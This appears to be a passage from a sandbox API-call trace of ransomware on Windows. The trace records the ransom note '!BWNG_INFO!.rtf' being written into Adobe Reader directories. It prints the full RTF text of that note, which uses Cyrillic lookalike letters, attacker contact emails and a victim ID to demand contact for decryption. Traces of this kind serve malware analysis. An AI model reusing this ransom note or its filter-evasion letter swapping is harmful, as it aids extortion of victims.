\\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nd", lpUsedDefaultChar=0x0) returned 14086 [0041.094] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.095] CloseHandle (hObject=0x1c4) returned 1 [0041.095] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\!bwng_info!.rtf")) returned 0xffffffff [0041.095] GetLastError () returned 0x2 [0041.095] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.095] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 